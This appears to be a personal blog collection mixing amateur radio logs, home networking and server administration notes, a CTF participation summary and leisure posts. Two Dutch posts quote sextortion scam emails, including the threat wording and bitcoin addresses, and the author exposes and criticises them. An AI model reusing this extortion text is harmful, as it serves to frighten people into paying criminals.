Ik heb een videoclip gemaakt waarin je op het linkergedeelte van het scherm aan het rukken bent, terwijl het rechtergedeelte de pornovideo toont die je op dat moment aan het bekijken was. Een paar muisklikken zouden voldoende zijn om deze video door te sturen naar al je contactenlijst en sociale media vrienden. Ik kan ze zelfs uploaden naar online platforms voor publieke toegang.

Het goede nieuws is dat je dit nog steeds kunt voorkomen: Alles wat je moet doen is 1250 EUR aan bitcoin overmaken naar mijn BTC wallet (als je niet weet hoe dat moet, doe dan wat zoekwerk online - er zijn genoeg artikelen die het stap-voor-stap proces beschrijven).

De bitcoin adressen zijn 14y2t9ahbTDLaG5kuMMdY9dG9TgNNcNEJM en 1Ef22Z8MKmZUVePpESGgeNv2bZFNbMpRsr. Beide mailtjes zijn overigens exact hetzelfde, dus of het dezelfde oplichter is of dat er andere schrijvers dan oplichters zijn is de vraag.

Want ze verbergen zichzelf wel goed. Als ik de bron IPv4 adressen nazoek zijn het allemaal consumentenaansluitingen in andere landen waar shodan verder niets over weet. Dus dat wijst vast naar computers met malware er op waarvan de eigenaars geen idee hebben wat er mis is. En traceren van wie een bitcoin wallet is is ook een uitdaging.

Yesterday I cycled the same ride as I did last October and a few times since then.

It was a good way to spend a few hours riding on our kings day. I stopped along the way to drink some water and relax. It's still 36 kilometers and the average speed according to the speedometer on my recumbent bicycle was 21.77 kilometer per hour.

More about the HackTheBox & CryptoHack Cyber Apocalypse 2021 I participated in

I found a writeup of the HackTheBox & CryptoHack Cyber Apocalypse 2021 I participated in at How HackTheBoxCTF Exposed The Marriage of Saleae And Hardware - Equus 🐴 (Annie) but I did some things a little different so I decided to share how I did it.

A CTF or Capture the flag is an information security competition where puzzles are offered that have to be solved with techniques from information security. This can range from a simple knowing where to look for clues in data to having to use the latest exploit techniques against systems to get access. The solution is usually a digital 'flag' that proves you solved the puzzle.

A co-worker who has been at the 'receiving end' a few times of the CTF challenges the SURFcert team creates with some help of me invited a number of people at work to the HackTheBox & CryptoHack Cyber Apocalypse 2021.

And I decided to join! We dove into the challenges a number of evenings. I solved a few hardware challenges on my own, and I did parts in solving other challenges. I learned about .sal files and logic analyzers. And I learned cracking a (not too big) public RSA key is doable these days.

Where others wrote bits of python to solve things I used grep and awk. But in the end we got there.

Our team ended in the top 6% which is not bad for doing this on weekday evenings besides our jobs and other bits of life. I posted about this on linkedin in Dutch: Collega Simon Kort BICT nodigde mij uit voor het meedoen in deze CTF.

With a bit of trying and retrying I tuned my home endfed to the FT8 frequency in the 17 meter amateur band. I'm chasing 'slots' on that band: countries I haven't worked on that band before. Today I got the Balearic Islands, Wales, Kenya, Indonesia and Lebanon in the log, all new on this band for me.

Before that there was a nice 10 meter opening during the day, where I worked several European stations.

Nice to see good propagation!

Update 2021-04-25: On Sunday I tried FT8 on 17 meters again, this got me Thailand as a completely new country! And Belarus, Latvia, Lithuania new on the 17 meter band.

Interesting kernel message in Linux today:

[ 3906.977410] ext2 filesystem being mounted at /media/koos/disk supports timestamps until 2038 (0x7fffffff)

So that filesystem (and lots of others) will give issues in 2038. Things need work before that date!

Op artikelen op olduse.net kwam ik een echt VT220 font tegen. Ik dacht gelijk aan het gebruiken van iets vergelijkbaars voor bbs.idefix.net omdat dat natuurlijk eigenlijk in de VGA font stijl moet van de topdagen van de BBS geschiedenis.

Het kostte even zoeken naar het passende font, maar dat is er (vast een extractie uit een IBM VGA rom): Perfect DOS VGA 437 font en daarna wat aanpassingen aan de stylesheet, en nu is bbs.idefix.net in de juiste stijl.

Update: Iets meer werk toch: ik wil momenteel dat om 'historische' redenen de verwijzing http://bbs.idefix.net/ nog werkt maar wel de browser hint om te upgraden, zodat deze pagina met een oude browser te bezoeken is maar een recentere browser vanzelf https wil. De upgradehint ('upgrade-insecure-requests') zorgde er voor dat de http versie een font wilde laden vanaf de https versie en dat moest even aan de ontvangende kant toegestaan worden.

I learned about changes in GPG needing some updates to private keys so I loaded the private key for 0x5BA9368BE6F334E4 in a backup keyring and tried to find out what needs to be done. The explanation at Fixing old SHA1-infested OpenPGP keys seems to have the important parts.

Make sure the preferences are set correctly (no SHA1) and do a 'clear' on the key. I took the chance to change the expiry date to something a bit more in the future, set the e-mail address that I now use as primary and updated the weblink to my homepage to https://idefix.net/.

I also updated the details on PGP - Koos van den Hout so these can be verified.

For almost 20 years I was involved with the running of NTP time servers at work. But the hardware aged and my job is no longer in systems administration and not in the department actually housing the timeservers.

So, time to stop doing it. The pool ntp server has been retracted, DNS names removed and soon I will make one final trip to shut down hardware one last time and remove it from racks. The end for ntp.cs.uu.nl and others.

I still run an NTP server at home which is available in the IPv6 NTP pool. That server also compared itself to one of the servers at work so it has been reconfigured. I added a few upstream servers and made sure all of them are reachable via IPv6.

The log of NTP service at cs.uu.nl was kept, here is the final version:

Date	Event
8 Apr 2021	DNS names for ntp service at cs.uu.nl removed
2 Apr 2021	Announcement posted to system administration mailing list that ntp service at cs.uu.nl will stop
24 Sep 2014	A second stratum-1 ntp appliance is brought on-line, galileo.cs.uu.nl
28 Nov 2011	Fixed the networking for stardate, the full time lab is up and running.
23 Nov 2011	The antenna cable connectors are soldered on which results in a working setup after a few tries. Stardate is better at reporting the state of the power to the GPS antenna, but has no working network. Huygens has working network and serves time to metronoom.
22 Nov 2011	The server ntp.cs.uu.nl is active at its new IP. Our own GPS reference doesn't work yet: we still need to solder the right connectors on the antenna cable. The server is added to the ntp pool and traffic starts to flow a few hours later.
15 Nov 2011	The ntp servers are moved to their new location
14 Nov 2011	The ntp servers are switched off
13 Nov 2011	We retract ntp.cs.uu.nl at its current address from the pool because the serverroom will move physically, the ntp equipment will move to a different location and the IP will change to deal with the traffic better
18 Sep 2011	Stats for doei.cs.uu.nl, five years after withdrawing it from the ntp pool
19 Sep 2010	Stats for doei.cs.uu.nl, four years after withdrawing it from the ntp pool
4 Mar 2010	The turkish adsl provider ttnet falls off the Internet for a few hours, traffic falls from 2000 packets/second to 100 packets/second in that time
22 Jan 2010	We volunteer ntp.cs.uu.nl for the turkish part of the ntp pool. Traffic explodes, peaks over 5000 packets/second
18 Sep 2009	Stats for doei.cs.uu.nl, three years after withdrawing it from the ntp pool
28 Jul 2009	ntp.cs.uu.nl back at full speed in the ntp pool, firewall configuration fixed
15 Jul 2009	rear doors of racks closed again
2 Jul 2009 10:00	serverroom airco has problems with high temperatures (28-30 C), we open rear doors of racks which makes the temperature go down a bit in the racks but the airco still has hard work
Mar 2009	ntp.cs.uu.nl tuned down in the ntp pool to avoid firewall issue
18 Sep 2008	Stats for doei.cs.uu.nl, two years after withdrawing it from the ntp pool
17 Jan 2008	huygens.cs.uu.nl has a GPS reception failure, fixed with a software update
18 Sep 2007	Stats for doei.cs.uu.nl, a year after withdrawing it from the ntp pool
11 Mar 2007	airco failure serverroom
5 Mar 2007	all ntp servers moved to one rack close together for temperature stability
20 Jan 2007	airco failure serverroom
9 Jan 2007	huygens.cs.uu.nl added as stratum-1
23 Dec 2006	airco failure serverroom
29 Nov 2006	powerfailure in our building
1 Nov 2006	metronoom.dmz.cs.uu.nl takes over as ntp.cs.uu.nl and joins pool.ntp.org
~ 24 Oct 2006	antenna cable to stardate.cs.uu.nl reconnected
~ 6 Oct 2006	ntpd on stardate disabled: free running clock starts to differ too much from correct time
~ 25 Aug 2006	antenna cable from stardate.cs.uu.nl disconnected because of building and recabling activities
1 Aug 2006	doei.cs.uu.nl leaves pool.ntp.org
19 Aug 2003	doei.cs.uu.nl joins pool.ntp.org
10 Jan 1999	stardate.cs.uu.nl set up as stratum-1 with GPS time reference

Recently the parts for the NTP ham clock I saw in the Electron magazine arrived: an ESP32 module and a TFT display. It took a bit before I had time to actually do something with them but recently I put the modules on breadboard and started making the needed connections. There are not a lot of those, only 8 wires need to be connected between the ESP32 microcontroller and the TFT display.

After some fiddling it worked and I managed to program it all with the settings I like, such as the right timezone rules for the Netherlands, 24 hour display on both clocks and it fetches the NTP time from the NTP server in the shed so it doesn't rely on outside connectivity.

Now to find a case for it and wire it neatly.

Last weekend was the EA RTTY Contest 2021 edition. I decided to participate because I appreciate the contests organized by the Unión de Radioaficionados Españoles.

Participation time was somewhat limited due to other things happening in the easter weekend. In the end I made 79 contacts and entered my log in the 'SINGLE ALL LOW POWER DX' category. As 'low power' is defined as 'below 100 watts' and my RF amplifier isn't working at the moment this is the fitting category.

Update 2021-05-05: Results are in: 71 valid contacts, 117 qso points and 51 multipliers: rank #225 of the single operator multiband low power DX category.

Another case of having luck and being at the radio at the right time and frequency: I saw a few stations from South Korea show up in FT8. Tried making contact with more than one of them and the second or third station became stronger after a few minutes and with some trying the contact was made with HL5BLI.

It was a really short opening, five minutes later I saw no traces of stations from South Korea.

Update 2021-04-05: And the contact is confirmed on Logbook of the World too.

I recently wanted to do some serious cycling to improve my mood and raise my maximum distance per day again. So I found a day off and set a goal of riding more than 100 kilometers. With a bit of planning on the map I decided that Utrecht - Hilversum - Bussum - Almere - Nijkerk - Utrecht was a good way to get about 105 kilometers cycling.

In the end the odometer stopped at 112.53 kilometers. And I do feel better.

With some alerts set to get the last of the Special Event Station series to celebrate the 200th anniversary of Hellenic War of Independence against Ottoman Turks in the log I now have the full set: at least one contact with each of the special event stations.

Which means the website will generate a nice digital certificate for me which I could print out and hang on the door of the room where I have my radio setup. But that door is already filled so I'll just keep the digital certificate and leave it at that.

It was fun chasing them! My thanks to the organization behind this.

Making a video about my new paddle is one thing, actually using it with the radio is another. I have seen radio amateurs buy expensive morse gear and finding out that learning morse is hard.

I connected the paddle to the radio via the nanokeyer I built and called CQ in a part of the 20 meter band where I expect other users with slow speed.

After one CQ I got an answer from PA5ABW Ab. The same person who taught me morse code!

For a while I had a notification set for someone selling a morse paddle. Finally one came along at a reasonable price so I bought it.

And.. I mentioned this detail to some people at work. Who had an idea of what a morse key is, but didn't know about morse paddles. So with my big mouth I said "I'll make a video about it". This was triggered by the fact that I recently learned about OpenShot non-linear video editor which is available for Linux too.

So I created a video. And found out making a video of 30 seconds is a lot more work than 30 seconds. I watched some tutorial videos about OpenShot first and thought about what I wanted to show. I haven't added spoken comments because I didn't feel like doing those too.

The video isn't great, I can see several beginner mistakes. But I get the point across of what a paddle does. There is a continuity problem because I used sunlight. Which isn't very constant. And I made several clips because I didn't think I would get everything I wanted to show right. But now there are changes in light and a bit in camera angle, even with using a tripod.

And our neighbours were busy hammering indoors, so that can be heard too.

It is always good to have a bit of luck and get a contact with a new country. This evening I saw a call from Hong Kong pop up on my screen with FT8 traffic and made the contact with a bit of a hickup since it was hard for me to receive the transmissions. The signal report showed that my signal made it across easier, so I had confidence and the contact was made.

After that I saw a station from Ghana, which had more trouble decoding my signals, but after a few tries that contact was valid too. Ghana is not a completely new country for me, but it was new on the 40 meter band.

Now to wait for digital confirmation (both show they use Logbook Of The World) and see if I can get a QSL card.

Update: I just noticed I didn't write about a few new entities from recent months. In February I also got Anguilla in the log (an island in the Carribean) and confirmed. This was a case of turning on the radio on a non-standard time and seeing a new country and getting the contact. In March I saw notifications for activity from the UK bases on Cyprus (which are two British overseas territories housing military bases because of the strategic location of Cyprus) which I have been chasing for a while and the contact was made.

Update: All contacts mentioned above confirmed.

After the recent work on updating the TLS settings for the webservers at home there was one element missing: TLSv1.3 support.

This needed an upgrade of openssl and the 'easy' way to get there was a full upgrade of the server running the external facing proxy. So I took that step yesterday evening. Made a snapshot first and started upgrading devuan ascii to beowulf.

After the update a lot of things were broken: I defined a non-standard location for bind9 logging and AppArmor disagreed. Without a working nameserver a lot of stuff breaks internally! So after managing to get on the upgraded system with console I changed the AppArmor rules to allow it. After that things started again.

For the next time I manage to break the resolving nameserver: I should remember that avahi/multicast dns works on most systems even when DNS resolving fails. I checked and I can use .local names to get to the right equipment.

After checking how everything is running for about a day I threw out the old snapshot.

As a number of years before I participated in the EA PSK63 Contest 2021. This is a contest organized by the Spanish Amateur Radio Club Unión de Radioaficionados Españoles and I appreciate their work in this and other contests.

Contacts were made Saturday afternoon/evening and Sunday morning. I decided to go for both 20 and 40 meter band to improve my contest results.

In the end I made 148 contacts, 58 on the 20 meter band and 90 on the 40 meter band. To my surprise when I started Sunday morning there was very little activity on the 20 meter band, but the 40 meter band was already filled with noise, probably from nearby solar power installations. With a bit of timing and luck I could work around the noise peaks and make contacts with the stronger stations. Later in the morning there was a lot more activity on the 20 meter band and new stations rolled in.

It was good to see a lot of to me new Spanish callsigns in this contest. I guess amateur radio in general and contesting has grown in Spain.

I needed a virtual machine with ubuntu so I did the base installation and also configured unattended-upgrades and sendmail to get the results. But I noticed after a while I never saw any mail from that machine.

Problem soon found:

mailer=relay, pri=30131, relay=postbode.idefix.net. [82.95.196.202], dsn=4.0.0, stat=Deferred: Connection timed out with postbode.idefix.net.

The machine wasn't even trying to reach the mailserver over IPv6! On the internal network with servers it will fail over IPv4 because of the portforwarding rule for the port from the outside IP to the mailserver but I never expected an internal machine to try IPv4.

Somehow this seems default for sendmail 8.15.2 in Ubuntu 20.04. I could find someone else asking this: No IPv6 outbound from Sendmail starting with 20.04 but no answers how/why.

At first I suspected systemd-resolved as the old saying goes that all sendmail problems are caused by DNS. But disabling that didn't fix the problem.

I now have the IPv6 address hardcoded in the configuration, that works.

dnl FEATURE(`msp', `postbode.idefix.net', `25')
FEATURE(`msp', `[2001:980:14ca:1::23]', `25')

I also found out the option ResolverOptions=+WorkAroundBrokenAAAA was set but not causing this.

A fun bit of amateur radio is the possibility to get awards for making contacts. There are awards like the American Radio Relay League DX century club for making contacts with at least 100 'countries' or the awards linked to summits on the air which are awards for making contacts from or to a number of mountain tops.

There are also awards for making contacts with special event stations. Currently there are several special event stations on the air celebrating 200 years of Greek independence. So far I have found two award options linked to those stations, but there may be more.

Special event stations are usually linked to a special event, such as this historic event for Greece. It is a way to notice things in history or other events that you normally wouldn't notice.

Special Event Station (SES) series as SX9A, SX8A, SX7A, SX6A, SX5A, SX4A, SX3A, SX2A and SX1A to celebrate the 200th anniversary of Hellenic War of Independence against Ottoman Turks. and The Greek Revolution of 1821 We celebrate the 200th anniversary of Hellenic War of Independence Special Event Call 01-31 March 2021 and 200 Years of Greek Independence Award.

It's a good thing they all have websites where you can see your progress and download the digital awards.

Looking at the newest graphs I created with grafana of system statistics I noticed the available entropy was still getting dangerously low from time to time on the system that runs the home server. For some reason this system has no available hardware random number generator. Even after the earlier changes to add more sources of randomness it was sometimes dropping low, especially during dnssec signing operations.

This does mean that the encryption processes for TLS in the webservers may also get delayed. Which is really not what I want.

Time to update settings on randomsound and haveged: I want a minimum of 2048 bits of available entropy. Sofar, this seems to have the desired effect.

I'm currently following the course The Best TLS and PKI Training Course in the World and learning even more about the workings of encryption, TLS and certificates.

One of the things I learned is to balance security with performance. And I directly used this new insight on my own webservers. The connection which brought you this page from https://idefix.net/ is still encrypted but I saved a few milliseconds on the encrypted setup by switching from a big (4096 bit) RSA private key to a 384 bit ECDSA key which are comparable in cryptographic strength. But the calculations with the ECDSA key are less CPU intense. And yes, I have statistics on page loading times before and after the changeover of the key.

It was a good moment to change private keys anyway, the old keys were more than a year old.

This is one of those areas where I like having my knowledge hands-on. Actually understanding what is happening and why.

For years and years I have been using rrdtool to gather and graph statistics at home. I started gathering home temperatures around 2008 but I see NTP statistics gathering from 2003 and my last mrtg graphs were created in October 2002. So that suggests I've been using rrdtool since that date.

Anyway, I'm looking at newer options. After some asking around I installed influxdb and started gathering data. I adjusted some of my data gathering scripts around rrdtool to also put the data in influxdb.

The easiest data to gather and graph was the load average, available entropy and number of processes for a number of systems at home. So that dashboard has been built and allows selection of the wanted computer.

My first conclusion is just collecting data and thinking what kind of graphs to create later is a lot easier with influxdb. With rrdtool the round robin database is designed around the graphs you want. In this case I just start gathering data and when data has come in start playing with possible graphs from that data.

The next challenge is to set the rules for maintaining the old data. One of the triggers to look at other options was that I was at the end of a nearly 11-year cycle of stored temperatures in rrdtool, and I wanted to keep that history if possible.

I don't have to keep every measurement forever, but with storage being cheap I think I will keep daily averages forever when this is 'production'.

Today the Electron magazine of the Veron amateur radio club came in, the March 2021 Veron Electron (Dutch).

As I was browsing the magazine and reading articles I came across an article about building an NTP ham clock, consisting of an ESP32 module and a TFT LCD display, and the rest is all in software.

I directly wanted to build this, as this combines two of my interests: amateur radio and NTP time synchronization. It displays both the local time and the UTC time on the TFT display, just like PyHamClock does on my screen.

The article is based on the same project at W8BH projects which gives me a good descriptive pdf.

So I ordered an ESP32 module and ILI9341 TFT LCD display from an aliexpress seller and now I wait, because this will take about a month.

Omdat met redelijk goed Nederlands deze pogingen tot chantage zich ook specifiek tot het nederlandse taalgebied richten zal ik er ook maar in het nederlands over schrijven:

In diverse varianten al langsgekomen, de 'ik heb al je persoonsgegevens en seksbeelden van je' mail waarin een betaling in bitcoin nodig zou zijn om hier van af te komen. Hoe het beeld tussen de porno-website en de webcam is ingedeeld is in deze varianten niet meer precies terug te lezen, dat detail bleef bij eerdere varianten wel steeds terugkomen, dus er zit nog iets verandering in.

Het bedrag is omhoog gegaan, er is nu 1450 euro in bitcoin nodig en dat moet naar bitcoin rekening 133MphKowvCC1PDyfZVF9L76mQvxTtRY93.

Op dit moment is daar nog geen geld op binnengekomen, maar zo te zien al diverse meldingen over deze chantage.

Goede uitleg Ik word per mail gechanteerd - Fraudehelpdesk.

Update 2020-02-23: Twee nieuwe mails met dezelfde tekst maar met bitcoin rekening 1NcyvDdyuJ5tF9MTnk1LqUULaZHurt3gRF. Of het dezelfde crimineel is of dat er iemand de tekst wel handig vond is de vraag.

In looking for something different I noticed requests for old urls for rss.php urls on a site. But that site was rewritten in a different programming language and I use a generic .cgi extension.

I had to look up how to do redirects with paramaters again because a RewriteRule directive in apache normally only uses the url, not the parameters. The page Redirecting and Remapping with mod_rewrite - Apache HTTP Server Version 2.4 gave me some hints, and I ended with:

    RewriteCond "%{QUERY_STRING}" "(.+)"
    RewriteRule "^/rss.php" /rss.cgi?%1 [R]

Which does exactly what I want.

Getting new countries in the log is one part, getting those countries confirmed is another.

Armenia had been 'evading' me for a few years because there aren't a lot of active radio amateurs in that country and the first ones I had contacts with decided to want money for a QSL card or digital confirmation. I decided to keep trying and in December 2020 I got a new station in the log: EK3GM and that station confirmed via Logbook of the World. So now I have that country confirmed, making the total 127 countries contacted, 120 confirmed via Logbook of the World.

Update 2021-02-17: And being active in the CQ WPX RTTY contest last weekend caused another confirmed country that I have been 'chasing' for a while: Tunesia. Contest station 3V8SS was very active, I got in the log and now I have 121 countries confirmed via LoTW.

A busy weekend with multiple radio contests going on. And a lot of other stuff in the weekend too so not much time to actually participate! I came to both contests fully unprepared and without much space in the weekend planning for butt in chair time.

First was the Dutch PACC contest where I participated Saturday afternoon and in the last 20 minutes of the contest Sunday morning. In this contest I made 21 contacts: 14 in morse and 7 in phone.

The second contest was the CQ WPX RTTY contest 2021 which is a 48 hour contest, which allowed me to start after I finished in the PACC and get stations in the log Sunday afternoon and evening. In this contest I made 70 contacts.

Satellite image of the Netherlands 2021-02-13 with snow cover.
I acknowledge the use of imagery provided by services from NASA's Global Imagery Browse Services (GIBS), part of NASA's Earth Observing System Data and Information System (EOSDIS).

In the weekend of 6 and 7 February 2021 the Netherlands got covered in snow and temperatures dropped to -10 degrees Celcius. In the week after that weekend temperatures stayed low and clear skies made for nice weather for outdoor skating and other wintersports. I was reminded of being on wintersport holiday.

I just had to look up the available images from the NASA Global Imagery Browse Services (GIBS) and found a great image from 13 February 2021. Click for more pixels!

I recently almost had an expired certificate for a public service because I did some fiddling with the file and ended up with a file modified time which had no relationship to the certificate request time.

Time to use the -checkend option I noticed in openssl x509 to test the actual certificates for upcoming expiry. So I redid the cronjob around dehydrated to do just that and had a cleanup. A candidate list of certificates to renew is created from certificates that are about to expire, certificates that have a changed certificate signing request and certificates for which there is only a signing request. That list is sorted and deduplicated and fed to calls to dehydrated.

It's now one script for both certificates that are renewed via the http-01 method and for certificates that are renewed via dns-01. By now both methods work fine for me, it depends on the use of the name which is fitting.

Today I had time to prepare for the final fiber route in the utility closet and after that it was time to go into the crawlspace again and replace the fiber with the 15 meter length singlemode fiber. Good preparations helped the fiber pulling to go fine.

Next stage was to mount both fiber optic transceivers in such a way that they protect the fiber from damage. At last it was time to add UTP cable for the last part at both ends and soon the right lights were blinking and the link was up.

So now the weather reporting for Weatherstation Utrecht Overvecht is a lot more reliable and on time again, and the time service from my time server is always available.

Fiber may be overkill for this path, but on the other hand the fiber that came out of the pipe between the shed and the crawlspace was quite wet so my best guess is utp cable would need special precautions to not get water in it.

Ook 'Jeroen van Icttechnics' lijkt aan het patroon te voldoen wat past bij dezelfde bron van spam die ik al jaren zie. Website www.icttechnics.be waar staat dat hij niet meer dan 40 kilometer afstand wil voor klantbezoeken. Ook al staat er geen fysiek adres in Belgie bij, ik weet vrij zeker dat er geen adres in Belgie op minder dan 40 kilometer is.

Eerder, eerder, eerder, eerder, eerder, eerder, eerder, eerder, eerder, eerder.

I talked about the latest developments in the fiber to the shed project with someone who has more experience in home fiber network and the suggestion was to order a 15 meter single mode lc-lc patch cable to have one cable from shed to the switch. I ordered such a cable at fs.com and added an 100base-LX SFP so the fiber can terminate directly in the downstairs switch.

Now waiting for the equipment to arrive, and there will be more work in the crawlspace in my near future.

Update 2020-02-04: The ordered fiber and SFP arrived late in the afternoon. Fast service from fs.com. It was shipped via DHL Express and they tried several times to remind me to pick a DHL shop to pick up the package but currently I'm not going anywhere most working days so my doorstep is a perfect delivery address.

Update 2020-02-05: After several tries it is clear my netgear switches have SFP slots that do not want to work with a 100base-LX SFP module. So one step back to the plan with two fiber-optic transceivers.

While I was working in the crawlspace yesterday I rerouted the phone cable that brings the VDSL from the network connection point (in the crawlspace, not a good place!) to the utility closet. After that the VDSL started giving disconnects.

Today I reopened the crawlspace, shortened the phone cable by about 8 centimeters and crimped a new connector on the phone cable. The copper on the original connector looked completely black, which may have given interesting interference at higher frequencies.

As we say in amateur radio: RF is magic. And since VDSL is RF, having oxidation in the wrong place can cause intermodulation.

The first part of the fiber path has been done.

Today I gathered all the tools to work on this project and removed most of the contents of our shed to work in there.

When I started digging in the shed I soon noticed the plastic pipe from the shed to the crawlspace of our house takes a 45 degree angle first and the next 45 degree angle is under the garden. I was not going to do that much digging so the plan had to be adjusted. The working solution was to pull the fiber through one of the old heating pipes. So my wife pushed a wire-pulling cable through one of the heating pipes while I was laying in the crawlspace waiting for it to show up. When we tried the second heating pipe it did show up, and pulling the fiber back to the shed worked fine. I did put some tape around the connectors to make sure they wouldn't hook behind something and I made sure the bit of rope that was pulling on the fiber was actually pulling on the main fiber and not on the connectors. The fiber came up in the shed nicely.

I wanted to hang the fibre in the crawlspace, since it could get damaged easily lying on the in the sand down there. I installed an electricity pipe hanging under the floor beams. After that there was still a bit of length to get to the nearest switch but not enough fiber left, so I had to leave that hanging for when I get a connector for an extension.

While I was in the crawlspace I made sure some other cables were mounted better, since the mess down there annoys me a bit. And I don't want other maintenance in the crawlspace to have a chance of disconnecting important things.

So the project isn't finished yet, but there is serious progress. It feels like I almost spent as much time making sure I had the right tools available and cleaning and storing them again as I spent actually working on it!

A while ago the YouTube suggestion algorithm came up with a video about a TV journalist / cameraperson who decided to live and work full-time on a narrowboat in the canals of England. The suggested video: TV Journalist Quits His Job to Live on a Tiny House Boat & Cruise UK Canals Full-Time.

I guess the suggestion was in relation to some videos I watched about people with expedition vehicles.

After that video I checked out the YouTube channel mentioned in the video: Cruising the Cut and I got addicted. By now I have watched more than two-thirds of the videos in the channel. David Johns describes the first steps in buying the boat, getting the boat ready to live on and the journeys along the canal network in England. The exact measures of the narrowboat are to make it fit in the canals that were dug in England as the first way to move goods when the industrial revolution allowed centralized production. The boats are 2.08 meter (6 feet 10 inches) wide to fit in all the canals and locks. The canals were dug by hand, so they are no wider and deeper than needed to transport goods.

I did ask David about the term 'the Cut' because I couldn't find a good explanation for it. It is the term for the canal, because the canals were cut out of the land by hand.

For my Dutch readers who wonder about canals in a not completely flat landscape: canals in England have lots of locks, tunnels and aqueducts to deal with those.

Somehow this idea of a moveable home is nice to me. At the same time I am not a person for living on the water, and with all the plans for long cycling tours I still want to return to a nice home with all the comforts.

One note: I do notice that David Johns comes from a background in television. Great quality video. And yes, I am fully aware that takes a lot of editing.

• Cruising the Cut youtube channel
• Cruising The Cut website

Again something from our local supermarket. A dark color Belgian dubbel. A slight hoppy taste, not strong. In the brown Grolsch beugel bottle, which is a return to several years ago!

The beer details

Company	Grolsch
Beer name	Grolsch dubbel
Beer style	Belgian dubbel
Alcohol by volume	6.8 %

I recently noticed the DUDE-Star software which allows access to D-Star, DMR, YSF, NXDN, P25, M17. For those who read here and got dazzled by these abbreviations: These are radio systems where voice data can be transported both via radio signals and via Internet data streams.

In all of these systems there are ways to connect radio / network interfaces together to make contacts over longer distances possible. This software allows access to all these interfaces and will do the audio encoding/decoding so it will use a microphone and loudspeaker.

I haven't had any luck in hearing D-Star audio yet which may be due to not being a registered D-Star user or due to not selecting busy reflectors (the computer systems that allow linked radios and networks to have the same audio data: an audio chatroom). I browsed around other systems and found busy talkgroups in YSF where I heard chatter in Dutch and English last night.

It is nice to see software like this making it all accessible without investing in hardware. The codecs used have a serious influence on the audio quality, and I was warned the quality from DUDE-Star isn't as good as from the actual radios. From what I heard some of the digital audio modes the quality isn't very good (to leave lots of room for error correction).

I wanted to get an idea whether the network over the fiber optic transceivers is reliable. So at the moment our dining room table looks like a network lab.

For testing networks there is iperf. I found out the Raspberry Pi 3B+ can't keep up with 100 Mbit/second UDP packets, so I searched for a speed where the Pi performs ok. This turns out to be 30 mbit, at higher speeds there is packet loss. I also had to reduce packet size to avoid fragmentation which costs CPU. I use IPv6 because that's what I'm used to. It turned out later the maximum speed without loss is higher with IPv4 than with IPv6.

Server on the raspberry pi:

koos@raspberrypi:~ $ iperf --version
iperf version 2.0.9 (1 June 2016) pthreads
koos@raspberrypi:~ $ iperf -s -V -u
------------------------------------------------------------
Server listening on UDP port 5001
Receiving 1470 byte datagrams
UDP buffer size:  160 KByte (default)
------------------------------------------------------------

Test without fiber optic transceivers in the path. Layer 2 route: virtual machine - host machine - utp - network switch - utp - network switch - utp - raspberry pi

koos@wozniak:~$ iperf --version
iperf version 2.0.9 (1 June 2016) pthreads
koos@wozniak:~$ iperf -V -u -b30M -i 10 -t 120 -M 10 -l 1400 -c ..
------------------------------------------------------------
Client connecting to .., UDP port 5001
Sending 1400 byte datagrams, IPG target: 373.33 us (kalman adjust)
UDP buffer size:  208 KByte (default)
------------------------------------------------------------
..
[  3]  0.0-120.0 sec   429 MBytes  30.0 Mbits/sec
[  3] Sent 321430 datagrams
[  3] Server Report:
[  3]  0.0-120.0 sec   429 MBytes  30.0 Mbits/sec   0.004 ms    0/321430 (0%)

Test with fiber optic transceivers in the path. Layer 2 route: virtual machine - host machine - utp - network switch - utp - network switch - utp - fiber optic transceiver - fiber - fiber optic transceiver - utp - raspberry pi

koos@wozniak:~$ iperf -V -u -b30M -i 10 -t 120 -M 10 -l 1400 -c ..
------------------------------------------------------------
Client connecting to .., UDP port 5001
Sending 1400 byte datagrams, IPG target: 373.33 us (kalman adjust)
UDP buffer size:  208 KByte (default)
------------------------------------------------------------
[  3]  0.0-120.0 sec   429 MBytes  30.0 Mbits/sec
[  3] Sent 321430 datagrams
[  3] Server Report:
[  3]  0.0-120.0 sec   429 MBytes  30.0 Mbits/sec   0.007 ms    0/321430 (0%)

Trying with IPv4 shows that packet loss starts to occur above 45 mbit. This is an interesting difference.

But the important conclusion is that there is no packet loss over the fiber path. There may be a bit more latency, but that's not a surprise. As a last test I looked at purely ping traffic using IPv6.

Without fiber in the path:

koos@wozniak:~$ ping -c 100 -i 0.2 -q ..
PING ..(.. (2001:xxxx)) 56 data bytes

--- .. ping statistics ---
100 packets transmitted, 100 received, 0% packet loss, time 20192ms
rtt min/avg/max/mdev = 0.567/0.680/0.866/0.063 ms

With fiber in the path:

koos@wozniak:~$ ping -c 100 -i 0.2 -q ..
PING ..(.. (2001:xxxx)) 56 data bytes

--- .. ping statistics ---
100 packets transmitted, 100 received, 0% packet loss, time 20191ms
rtt min/avg/max/mdev = 0.625/0.738/0.828/0.046 ms

This also shows a bit more latency over fiber.

The extra latency is probably due to the fiber optic transceivers containing a network switch.

Buttcoins have had some interesting price changes recently and while I normally only associate bitcoin with sextortion scams I'm now receiving spam about 'getting rich from bitcoin'. Most notably from the mails:

Don't like these emails? Unsubscribe. a Company or Organization Name | Latvia

Wahnsinnig reich werden Wahnsinnig reich werden Don't like these emails? Unsubscribe. a Organization Name | France Unsubscribe {recipient's email} Update Profile | About our service provider

I guess they are abusing some cheap spam provider (probably known to themselves as "e-mail marketing company").

There is no fiber to our home in the near future but I am working on laying another fiber route: from the switch in the cupboard downstairs to the shed. This is because the NTP server in the shed still has intermittent connectivity issues when using 2.4 GHz wifi due to the 2.4 GHz wifi channels being very crowded. The wifi dongle has no 5 GHz support and I don't think I would get it very reliable. But other options are also not ideal. As a radio amateur I can't go back to using powerline (network over power cables) and I wouldn't feel safe with a network cable running that far should a lightning strike ever occur. I should write "occur again" since I have had a network switch with probable lightning damage before.

The only option left is what you guessed from the title of this post: fiberoptic cable. No interference to my radio reception and a lot less chance of lightning blowing up parts of the network and connected computers. But a whole new world of fiber types, fiber lengths, wavelengths, connector types and interface types opened up to me. The switch in the cupboard downstairs has SFP ports, but how to get beyond that.

The raspberry Pi 3B+ that I use is 100 mbit only and I wasn't sure how to handle that. So I asked someone who is very good with fiber networks to explain to me what options are available and that person dug up some lengths of fiber that are no longer used and some 100 mbit fiberoptic transverters that were also a wrong purchase. So I already have the connectivity hardware available.

